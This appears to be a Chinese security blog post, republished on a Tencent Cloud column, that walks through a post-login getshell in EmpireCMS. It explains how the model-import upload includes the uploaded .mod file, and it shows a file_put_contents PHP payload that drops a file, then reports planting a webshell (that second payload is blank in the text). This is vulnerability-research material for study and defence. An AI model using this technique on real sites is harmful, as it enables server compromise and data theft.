前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >帝国CMS后台Getshell

帝国CMS后台Getshell

作者头像
ly0n
发布2020-11-04 11:24:44
3.5K0
发布2020-11-04 11:24:44
举报
文章被收录于专栏:ly0nly0n

前言

今天在群里看到了一个师傅再问有没有人做过帝国CMS的后台Getshell,我之前也是没做过的,于是就下了一个尝试着做了下,那个师傅给我说了出现漏洞的是一个文件上传的地方,根据师傅的提示我就开始操作了。

帝国CMS下载

环境搭建

搭建有两种方法

1.搭建到自己的服务器上,在宝塔界面设置网站的目录指向

2.使用phpstudy集成环境,将下载的cms放到www目录下,然后访问localhost/cms/upload/e/install开始安装。

搭建教程

漏洞分析

根据师傅的提示,我便开始在网站上寻找上传文件的地方,终于找到了导入系统模型的一个上传点,大致看了一下,发现只让上传.mod后缀的文件

然后我开始在代码文件夹里全局搜索.mod然后去尝试能否有可以利用的点。发现了class目录下moddofun.php

上图我标注了两点,第一点就是我们在前端看到的那个后缀只能为.mod的限制代码,重要的在第二点上,我们可以看到上传文件处使用make_password(10)对时间进行加密然后在和后面的.php进行拼接作为上传文件的文件名,这样一来我们就没办法的得到上传的木马文件名也就没有办法利用了。

我们接着往下面浏览代码

看到了我标记的那一处代码,这样一来直接包含了我们上传的文件,我们只要在上传的文件中添加可以创建文件的代码,就可以成功绕过上面的文件名限制。然后上传后缀名为.mod的文件

漏洞测试

经过上面的分析,我总感觉不那么真实,这比我打CTF做代码审计的时候感觉还要简单一点,这里说一下载上传的文件里添加可以创建文件的代码。介绍一个PHP的file_put_contents() 函数,作用是把一个字符串写入文件中。PHP file_put_contents()学习地址

我们来进行第一次尝试,构造payload

代码语言:javascript
复制
<?php file_put_contents("ly0n.php","<?php phpinfo(); ?>"); ?>

重命名为ly0n.php.mod,并上传。

我们可以看到在admin目录下出现了ly0n.php的文件我们访问下,成功

我们在进行第二次尝试,上传一句话马,然后使用蚁剑连接

代码语言:javascript
复制
<?php                                                             ?>"); ?>

成功导入。使用蚁剑连接

成功Getshell!!

本文参与 腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。
原始发表:2020-07-24,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 前言
  • 环境搭建
  • 漏洞分析
  • 漏洞测试
相关产品与服务
代码审计
代码审计(Code Audit,CA)提供通过自动化分析工具和人工审查的组合审计方式,对程序源代码逐条进行检查、分析,发现其中的错误信息、安全隐患和规范性缺陷问题,以及由这些问题引发的安全漏洞,提供代码修订措施和建议。支持脚本类语言源码以及有内存控制类源码。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档